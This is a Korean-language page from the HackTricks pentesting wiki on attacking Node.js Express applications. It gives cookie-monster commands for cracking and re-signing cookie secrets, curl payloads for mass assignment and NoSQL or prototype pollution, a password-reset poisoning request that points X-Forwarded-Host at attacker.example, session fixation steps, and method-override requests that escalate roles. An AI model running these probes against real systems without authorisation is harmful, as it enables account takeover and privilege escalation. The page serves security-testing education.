NodeJS Express

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

빠른 핑거프린팅

Recon 중에 유용한 Express 식별 지표:

  • X-Powered-By: Express 또는 express, body-parser, qs, cookie-parser, express-session, finalhandler를 언급하는 stack trace
  • 접두사가 s:(signed cookie) 또는 j:(JSON cookie)인 Cookies
  • connect.sid 같은 세션 쿠키
  • _method=PUT / _method=DELETE 같은 숨겨진 폼 필드나 쿼리 파라미터
  • Error pages leaking Cannot GET /path, Cannot POST /path, Unexpected token in body-parser, 또는 쿼리 파싱 중 발생하는 URIError

Express임을 확인하면 미들웨어 체인에 집중하라. 대부분의 흥미로운 버그는 프레임워크 코어 자체보다는 파서(parsers), proxy trust, 세션 처리(session handling), method-tunneling 등 미들웨어에서 발생한다.

쿠키 서명

The tool https://github.com/DigitalInterruption/cookie-monster 은 Express.js cookie secrets의 테스트와 재서명(re-signing)을 자동화하는 유틸리티이다.

Express는 일반적으로 두 가지 유용한 쿠키 포맷을 노출한다:

  • s:<value>.<sig>cookie-parser 또는 express-session에서 처리하는 signed cookies
  • j:<json>cookie-parser가 자동으로 파싱하는 JSON cookies

만약 cookie-parser가 서명된 쿠키를 받고 서명이 유효하지 않으면, 값은 변조된 값 대신 false가 된다. 애플리케이션이 비밀값 배열(array of secrets)을 허용하면, rotation 이후에도 이전 비밀(old secrets)이 기존 쿠키를 여전히 검증할 수 있다.

특정 이름을 가진 단일 쿠키

cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -n session

사용자 정의 wordlist

cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -w custom.lst

배치 모드를 사용하여 여러 cookies를 테스트

cookie-monster -b -f cookies.json

커스텀 wordlist로 batch mode를 사용해 여러 cookies 테스트하기

cookie-monster -b -f cookies.json -w custom.lst

비밀을 알고 있다면 cookie에 서명할 수 있습니다.

cookie-monster -e -f new_cookie.json -k secret

쿼리 문자열 및 URL-인코딩 파서 악용

Express 대상은 공격자가 제어하는 키를 중첩된 객체로 파싱할 때 종종 흥미로운 대상이 된다.

  • req.queryqs를 포함한 다양한 파서로 구성할 수 있다
  • express.urlencoded({ extended: true })application/x-www-form-urlencoded에 대해 qs-스타일 파싱을 사용한다
  • 중첩 파싱은 파싱된 객체가 애플리케이션 상태에 병합될 경우 object injection, mass assignment, NoSQL injection, prototype pollution 체인을 열어준다

시도해볼 실전 payloads:

# Mass assignment style probe
curl 'https://target.example/profile?role=admin&isAdmin=true'

# Nested object / qs syntax
curl 'https://target.example/search?user[role]=admin&filters[name][$ne]=x'

# URL-encoded body against express.urlencoded({ extended: true })
curl -X POST 'https://target.example/api/update'   -H 'Content-Type: application/x-www-form-urlencoded'   --data 'profile[role]=admin&filters[$ne]=x'

앱이 결과 객체를 반사하거나 영속하면, exploitation 세부사항을 확인하기 위해 전용 페이지로 이동하세요:

Mass Assignment Cwe 915

Express Prototype Pollution Gadgets

Express에 대해 특히 시도해볼 만한 추가 테스트:

  • 파서 한계, 타임아웃, 또는 400/413 응답 차이를 확인하기 위한 깊은 중첩
  • 앱이 첫 번째 값을 유지하는지, 마지막 값을 유지하는지, 아니면 배열을 만드는지 확인하기 위한 중복 키
  • 예: 대괄호 문법 a[b][c]=1, 점 표기법 a.b=1, 그리고 __proto__ / constructor[prototype] payloads

trust proxy 악용

앱이 app.set("trust proxy", true)를 사용하거나 너무 많은 홉을 신뢰하면, Express는 포워드된 헤더(forwarding headers)로부터 보안 관련 값을 유도합니다. 리버스 프록시가 이를 덮어쓰지 않으면, 클라이언트가 이를 직접 위조할 수 있습니다.

영향을 받는 항목:

  • req.hostnameX-Forwarded-Host를 통해
  • req.protocolX-Forwarded-Proto를 통해
  • req.ip / req.ipsX-Forwarded-For를 통해

다음 용도로 유용함:

  • Password reset poisoning 및 absolute URL poisoning
  • IP 기반 허용 목록, 요청률 제한(rate limits), 또는 감사 로그 우회
  • req.protocol를 기준으로 하는 앱에서 secure 쿠키 처리 및 HTTPS 전용 로직에 영향
  • 앱이 포워드된 host/proto 헤더로 절대 링크를 템플릿화할 때 리디렉션이나 캐시 가능한 응답을 변조할 가능성
POST /reset-password HTTP/1.1
Host: target.example
X-Forwarded-Host: attacker.example
X-Forwarded-Proto: https
X-Forwarded-For: 127.0.0.1
Content-Type: application/json

{"email":"victim@target.example"}

생성된 링크, 리다이렉트 위치, 로그, 또는 접근 제어 결정이 attacker-supplied 값을 사용하도록 바뀌었는지 확인하세요.

Related pages:

Reset/Forgotten Password Bypass

Cache Poisoning and Cache Deception

express-session 테스트 노트

일반적인 Express 배포는 express-session을 사용하며, 세션 식별자 쿠키에 서명하지만 실제 상태는 서버 측에 저장됩니다.

유용한 검사:

  • Session fixation: 로그인 전 쿠키로 인증한 후 로그인 후에도 SID가 동일하게 유지되는지 확인하세요
  • Weak secret rotation: 일부 배포에서는 쿠키를 이전의 여러 secrets 배열로 검증하므로 이전에 유효했던 서명이 계속 작동할 수 있습니다
  • saveUninitialized: true: 애플리케이션이 익명 사용자에게 인증 전 세션을 발행하므로 fixation이 더 쉬워지고 brute-force 또는 캐시 분석을 위한 세션 표면이 증가합니다
  • MemoryStore in production은 일반적으로 운영 성숙도가 낮고 재시작 시 세션 동작이 불안정함을 나타냅니다

실용적인 fixation 워크플로우:

  1. 대상에서 익명 세션 쿠키를 획득합니다.
  2. 해당 쿠키를 피해자에게 보내거나 직접 그 쿠키로 인증합니다.
  3. 로그인이 인증된 상태를 기존 SID에 바인딩하는지 확인합니다.
  4. 바인딩된다면 별도의 브라우저 세션에서 동일한 쿠키를 재생합니다.

앱이 인증 후에 req.session.regenerate()를 호출하지 않으면 fixation이 여전히 가능한 경우가 많습니다.

Method Override Tunneling

일부 Express 앱은 method-override를 사용하여 HTML 폼이 본래 전송할 수 없는 메서드를 터널링합니다. 활성화되어 있다면 프런트엔드, WAF, 또는 CSRF 로직이 단지 POST만 허용한다고 가정한 경로를 통해 위험한 메서드를 스머글할 수 있는지 항상 테스트하세요.

일반적인 프로브:

POST /users/42 HTTP/1.1
Host: target.example
X-HTTP-Method-Override: DELETE
Content-Type: application/x-www-form-urlencoded

confirm=yes
POST /users/42?_method=PUT HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded

role=admin

흥미로운 영향:

  • POST-전용 edge control을 통해 숨겨진 PUT / PATCH / DELETE 라우트에 접근
  • req.method만 검사하는 라우트 전용 미들웨어 우회
  • 애플리케이션이 외부 요청 메서드만 검증할 때 CSRF를 통해 상태 변경 핸들러 트리거

By default the middleware usually only overrides POST, so prioritize POST requests with header, body, and query-string override values.

참고 자료

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기